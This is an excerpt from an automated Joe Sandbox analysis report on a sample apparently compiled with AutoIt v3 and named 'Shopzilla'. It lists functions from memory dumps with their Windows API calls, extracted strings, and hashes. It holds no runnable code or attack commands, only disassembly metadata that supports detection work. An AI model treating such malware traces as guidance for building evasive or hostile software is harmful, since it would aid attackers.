Opcode Fuzzy Hash: 9af572d9ae1c8bf200842bccc7baffd13b940e560fe92a27a9397243c20d93d8
Instruction Fuzzy Hash: 4DC04CF6815119DBCB05DB90D9D8EFEB7BCAB04305F200056A142F2100D7749B448A71

Function 00BCA284 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00BCA28A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 88f31c8992fc835c367e3072c01a48c715443a77b4f0748f76bcadd0c58f9251
Instruction ID: a3a9b11dffbf3cba7f80a3c4d4c9344218bd804f76291c838311ea86af212f15
Opcode Fuzzy Hash: 88f31c8992fc835c367e3072c01a48c715443a77b4f0748f76bcadd0c58f9251
Instruction Fuzzy Hash: 74A0113202020CAB8A002B82EC08A88BFACEA022A0B008020F80C020328B32A8208A80

Function 00C17CB8 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00C17D0D
DeleteObject.GDI32(00000000), ref: 00C17D1F
DestroyWindow.USER32 ref: 00C17D2D
GetDesktopWindow.USER32 ref: 00C17D47
GetWindowRect.USER32(00000000), ref: 00C17D4E
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00C17E8F
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00C17E9F
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17EE7
GetClientRect.USER32(00000000,?), ref: 00C17EF3
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00C17F2D
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17F4F
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17F62
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17F6D
GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17F76
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17F85
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17F8E
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17F95
GlobalFree.KERNEL32(00000000), ref: 00C17FA0
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C17FB2
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00C33C7C,00000000), ref: 00C17FC8
GlobalFree.KERNEL32(00000000), ref: 00C17FD8
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00C17FFE
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00C1801D
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C1803F
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C1822C

Strings

, xrefs: 00C181B2
DISPLAY, xrefs: 00C1808F
static, xrefs: 00C17F27, 00C1807E
AutoIt v3, xrefs: 00C17EDF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 8932aa1ec8a181959c49d77943a271f676bd427bb3cb90f2d7e55ca5b3e1a7b8
Instruction ID: c6488237d0b71e2a8b24eb9c12e4d20806a4d02d16030a054249caccc189e29e
Opcode Fuzzy Hash: 8932aa1ec8a181959c49d77943a271f676bd427bb3cb90f2d7e55ca5b3e1a7b8
Instruction Fuzzy Hash: 68027B72910109EFDB14DF64DC99FAE7BB9EF49310F148158F915AB2A1CB70AD41CBA0

Function 00C23971 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00C30980), ref: 00C23A2D
IsWindowVisible.USER32(?), ref: 00C23A51

Strings

GETCURRENTCOL, xrefs: 00C23D2E
HIDEDROPDOWN, xrefs: 00C23B06
GETCURRENTLINE, xrefs: 00C23CF3
TABRIGHT, xrefs: 00C23AA3
CHECK, xrefs: 00C23C73
SENDCOMMANDID, xrefs: 00C23DE0
UNCHECK, xrefs: 00C23C89
GETSELECTED, xrefs: 00C23CA9
CURRENTTAB, xrefs: 00C23AC3
FINDSTRING, xrefs: 00C23B7C
SHOWDROPDOWN, xrefs: 00C23AE6
ISVISIBLE, xrefs: 00C23A3D
TABLEFT, xrefs: 00C23A8D
GETLINE, xrefs: 00C23DA1
GETCURRENTSELECTION, xrefs: 00C23BE9
DELSTRING, xrefs: 00C23B4F
ADDSTRING, xrefs: 00C23B1C
ISCHECKED, xrefs: 00C23C3F
GETLINECOUNT, xrefs: 00C23CCC
SELECTSTRING, xrefs: 00C23C0C
EDITPASTE, xrefs: 00C23D65
ISENABLED, xrefs: 00C23A71
SETCURRENTSELECTION, xrefs: 00C23BBC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 56d56cf9e58df51df31a5ed30710387dbf13c25cf93eca1ea896188ab51f9eda
Instruction ID: 817e15b0580b49777fd05835b6dd2f83e174b8ebb21b07797bae45abae4b0f30
Opcode Fuzzy Hash: 56d56cf9e58df51df31a5ed30710387dbf13c25cf93eca1ea896188ab51f9eda
Instruction Fuzzy Hash: B5D1BD302142509BCB14EF11D452F7EBBE5EF84340F5449A8B8965B6E3CB75EE4ACB82

Function 00C2A9C7 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00C2AA1D
GetSysColorBrush.USER32(0000000F), ref: 00C2AA4E
GetSysColor.USER32(0000000F), ref: 00C2AA5A
SetBkColor.GDI32(?,000000FF), ref: 00C2AA74
SelectObject.GDI32(?,00000000), ref: 00C2AA83
InflateRect.USER32(?,000000FF,000000FF), ref: 00C2AAAE
GetSysColor.USER32(00000010), ref: 00C2AAB6
CreateSolidBrush.GDI32(00000000), ref: 00C2AABD
FrameRect.USER32(?,?,00000000), ref: 00C2AACC
DeleteObject.GDI32(00000000), ref: 00C2AAD3
InflateRect.USER32(?,000000FE,000000FE), ref: 00C2AB1E
FillRect.USER32(?,?,00000000), ref: 00C2AB50
GetWindowLongW.USER32(?,000000F0), ref: 00C2AB7B

Part of subcall function 00C2ACB7: GetSysColor.USER32(00000012), ref: 00C2ACF0
Part of subcall function 00C2ACB7: SetTextColor.GDI32(?,?), ref: 00C2ACF4
Part of subcall function 00C2ACB7: GetSysColorBrush.USER32(0000000F), ref: 00C2AD0A
Part of subcall function 00C2ACB7: GetSysColor.USER32(0000000F), ref: 00C2AD15
Part of subcall function 00C2ACB7: GetSysColor.USER32(00000011), ref: 00C2AD32
Part of subcall function 00C2ACB7: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00C2AD40
Part of subcall function 00C2ACB7: SelectObject.GDI32(?,00000000), ref: 00C2AD51
Part of subcall function 00C2ACB7: SetBkColor.GDI32(?,00000000), ref: 00C2AD5A
Part of subcall function 00C2ACB7: SelectObject.GDI32(?,?), ref: 00C2AD67
Part of subcall function 00C2ACB7: InflateRect.USER32(?,000000FF,000000FF), ref: 00C2AD86
Part of subcall function 00C2ACB7: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00C2AD9D
Part of subcall function 00C2ACB7: GetWindowLongW.USER32(00000000,000000F0), ref: 00C2ADB2
Part of subcall function 00C2ACB7: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00C2ADDA

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: ee6eebc58ae2f2b2057edecf2506901ad139b43c29e4cdc91418b00920a588c3
Instruction ID: 3b6abdf395626cfe4f9834ba23d1ab8a8dd481f5d095a1843c4bbefed2a9b22f
Opcode Fuzzy Hash: ee6eebc58ae2f2b2057edecf2506901ad139b43c29e4cdc91418b00920a588c3
Instruction Fuzzy Hash: 00916872018315AFCB119F64EC18B6FBBA9FF88321F204A19F9A2961A1D771D944CF52

Function 00BA2FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00BA3072
DeleteObject.GDI32(00000000), ref: 00BA30B8
DeleteObject.GDI32(00000000), ref: 00BA30C3
DestroyIcon.USER32(00000000,?,?,?), ref: 00BA30CE
DestroyWindow.USER32(00000000,?,?,?), ref: 00BA30D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00BDC6AC
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00BDC6E5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00BDCB0E

Part of subcall function 00BA1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00BA2412,?,00000000,?,?,?,?,00BA1AA7,00000000,?), ref: 00BA1F76

SendMessageW.USER32(?,00001053), ref: 00BDCB4B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00BDCB62
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00BDCB78
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00BDCB83

Strings

0, xrefs: 00BDC9A2

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 5e21ae0bfb903fa3fcd929c2a244553269948969bc44a671b396491135747407
Instruction ID: dc1934f86ee92b0c4afa0da2fd66aa3403778293f716b627cf68d74296ac7772
Opcode Fuzzy Hash: 5e21ae0bfb903fa3fcd929c2a244553269948969bc44a671b396491135747407
Instruction Fuzzy Hash: A3127830604602EFDB25CF24C895BA9BBE5FF09700F2445AAF995CB262D731ED42DB91

Function 00BB27FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00BC0F16: std::exception::exception.LIBCMT ref: 00BC0F4C
Part of subcall function 00BC0F16: __CxxThrowException@8.LIBCMT ref: 00BC0F61

__wcsnicmp.LIBCMT ref: 00BB286A
__wcsnicmp.LIBCMT ref: 00BB287E
__wcsnicmp.LIBCMT ref: 00BB2896
__wcsnicmp.LIBCMT ref: 00BB28AE
__wcsnicmp.LIBCMT ref: 00BB28C6
__wcsnicmp.LIBCMT ref: 00BB28DE
__wcsnicmp.LIBCMT ref: 00BB28F6
__wcsnicmp.LIBCMT ref: 00BB290A
__wcsnicmp.LIBCMT ref: 00BB2948
__wcsnicmp.LIBCMT ref: 00BB295C
__wcsnicmp.LIBCMT ref: 00BB2970
__wcsnicmp.LIBCMT ref: 00BB2984

Strings

#cs, xrefs: 00BB2904, 00BB2956
Cannot parse #include, xrefs: 00BEFC65
#include, xrefs: 00BB28D8
', xrefs: 00BEFB1F
Bad directive syntax error, xrefs: 00BEFB53, 00BEFB70
#ce, xrefs: 00BB297E
#OnAutoItStartRegister, xrefs: 00BB28A8
#requireadmin, xrefs: 00BB2890
#include-once, xrefs: 00BB28C0
#pragma compile, xrefs: 00BB2864
", xrefs: 00BEFB09
#comments-end, xrefs: 00BB296A
#comments-start, xrefs: 00BB28F0, 00BB2942
Unterminated group of comments, xrefs: 00BEFC7A
#notrayicon, xrefs: 00BB2878

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: 429ee3ebf20f091f2a16b5b72dc41a9679a56651ddc7ce7838c156891a3efee6
Instruction ID: cfc775a925c01cb86155d15dda3cdf02499602bec9a368cc41d5a5f19c328de5
Opcode Fuzzy Hash: 429ee3ebf20f091f2a16b5b72dc41a9679a56651ddc7ce7838c156891a3efee6
Instruction Fuzzy Hash: 16A16C31A0020ABBCB14AF61DC92EBE77F5EF45B40F1441B9F805AB292EBB19E51D650

Function 00C1795A Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00C1798D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00C17A4C
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00C17A8A
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00C17A9C
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00C17AE2
GetClientRect.USER32(00000000,?), ref: 00C17AEE
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00C17B32
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00C17B41
GetStockObject.GDI32(00000011), ref: 00C17B51
SelectObject.GDI32(00000000,00000000), ref: 00C17B55
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00C17B65
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00C17B6E
DeleteDC.GDI32(00000000), ref: 00C17B77
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00C17BA3
SendMessageW.USER32(00000030,00000000,00000001), ref: 00C17BBA
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00C17BF5
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00C17C09
SendMessageW.USER32(00000404,00000001,00000000), ref: 00C17C1A
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00C17C4A
GetStockObject.GDI32(00000011), ref: 00C17C55
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00C17C60
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00C17C6A

Strings

msctls_progress32, xrefs: 00C17BEB
DISPLAY, xrefs: 00C17B37
static, xrefs: 00C17B2C, 00C17C44
AutoIt v3, xrefs: 00C17ADA

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 64a4f4afd2c7634c860ef84644abc43955d735de137afcafb1a3f09da51bb70b
Instruction ID: 3e49074116be5c69e1a2129600e0c75353a6d1f7ac46de4ab689c81729c24362
Opcode Fuzzy Hash: 64a4f4afd2c7634c860ef84644abc43955d735de137afcafb1a3f09da51bb70b
Instruction Fuzzy Hash: E4A19271A10219BFEB24DBA5DC5AFAE7BB9EF45710F104254FA15A72E0C7B0AD00CB60

Function 00C0B1C0 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C0B1CE
GetDriveTypeW.KERNEL32(?,00C32C4C,?,\\.\,00C30980), ref: 00C0B2AB
SetErrorMode.KERNEL32(00000000,00C32C4C,?,\\.\,00C30980), ref: 00C0B409

Strings

SAS, xrefs: 00C0B3B5
ATAPI, xrefs: 00C0B37D
Fixed, xrefs: 00C0B2F3
Fibre, xrefs: 00C0B399
ATA, xrefs: 00C0B384
PhysicalDrive, xrefs: 00C0B257
1394, xrefs: 00C0B38B
Network, xrefs: 00C0B2E9
RAMDisk, xrefs: 00C0B2D5
SSA, xrefs: 00C0B392
Virtual, xrefs: 00C0B3D1
USB, xrefs: 00C0B3A0
\\.\, xrefs: 00C0B220
iSCSI, xrefs: 00C0B3AE
RAID, xrefs: 00C0B3A7
Unknown, xrefs: 00C0B2CB, 00C0B36F
SSD, xrefs: 00C0B336
SCSI, xrefs: 00C0B376
SATA, xrefs: 00C0B3BC
MMC, xrefs: 00C0B3CA
Removable, xrefs: 00C0B2FD
CDROM, xrefs: 00C0B2DF
FileBackedVirtual, xrefs: 00C0B3D8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 5fe275ec8291427c823ed2690ec6d601cdbf9a8dcdb452d68a7056dad66fb1d2
Instruction ID: bc9cea67ea384bdd3ad5aff55798e7a55b28f88e049de6fb6146f32c8f002d57
Opcode Fuzzy Hash: 5fe275ec8291427c823ed2690ec6d601cdbf9a8dcdb452d68a7056dad66fb1d2
Instruction Fuzzy Hash: 3951F238640205EBCF10DB25E9A2DBE73A1EB44701B3040B6F816A72E1DFB19E95EB55

Function 00C2ACB7 Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00C2ACF0
SetTextColor.GDI32(?,?), ref: 00C2ACF4
GetSysColorBrush.USER32(0000000F), ref: 00C2AD0A
GetSysColor.USER32(0000000F), ref: 00C2AD15
CreateSolidBrush.GDI32(?), ref: 00C2AD1A
GetSysColor.USER32(00000011), ref: 00C2AD32
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00C2AD40
SelectObject.GDI32(?,00000000), ref: 00C2AD51
SetBkColor.GDI32(?,00000000), ref: 00C2AD5A
SelectObject.GDI32(?,?), ref: 00C2AD67
InflateRect.USER32(?,000000FF,000000FF), ref: 00C2AD86
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00C2AD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 00C2ADB2
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00C2ADDA
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00C2AE01
InflateRect.USER32(?,000000FD,000000FD), ref: 00C2AE1F
DrawFocusRect.USER32(?,?), ref: 00C2AE2A
GetSysColor.USER32(00000011), ref: 00C2AE38
SetTextColor.GDI32(?,00000000), ref: 00C2AE40
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00C2AE54
SelectObject.GDI32(?,00C2A9E7), ref: 00C2AE6B
DeleteObject.GDI32(?), ref: 00C2AE76
SelectObject.GDI32(?,?), ref: 00C2AE7C
DeleteObject.GDI32(?), ref: 00C2AE81
SetTextColor.GDI32(?,?), ref: 00C2AE87
SetBkColor.GDI32(?,?), ref: 00C2AE91

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 8538d4ab25c5fb19c52d7af81a9286a1a9bff1d7d07eb3fb33018a3c08b85a14
Instruction ID: d05a6e24a39ad94b83c1ce26ed16696463ba73fc1070ad5aa73635715bc696b2
Opcode Fuzzy Hash: 8538d4ab25c5fb19c52d7af81a9286a1a9bff1d7d07eb3fb33018a3c08b85a14
Instruction Fuzzy Hash: CF514C72910218BFDB119FA4DC48FAEBBB9FF08320F204155F915AB2A1D7719A40DF90

Function 00C28DC2 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00C28EAE
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C28EBF
CharNextW.USER32(0000014E), ref: 00C28EEE
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00C28F2F
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00C28F45
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C28F56
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00C28F73
SetWindowTextW.USER32(?,0000014E), ref: 00C28FC5
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00C28FDB
SendMessageW.USER32(?,00001002,00000000,?), ref: 00C2900C
_memset.LIBCMT ref: 00C29031
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00C2907A
_memset.LIBCMT ref: 00C290D9
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00C29103
SendMessageW.USER32(?,00001074,?,00000001), ref: 00C2915B
SendMessageW.USER32(?,0000133D,?,?), ref: 00C29208
InvalidateRect.USER32(?,00000000,00000001), ref: 00C2922A
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C29274
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C292A1
DrawMenuBar.USER32(?), ref: 00C292B0
SetWindowTextW.USER32(?,0000014E), ref: 00C292D8

Strings

0, xrefs: 00C29242

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
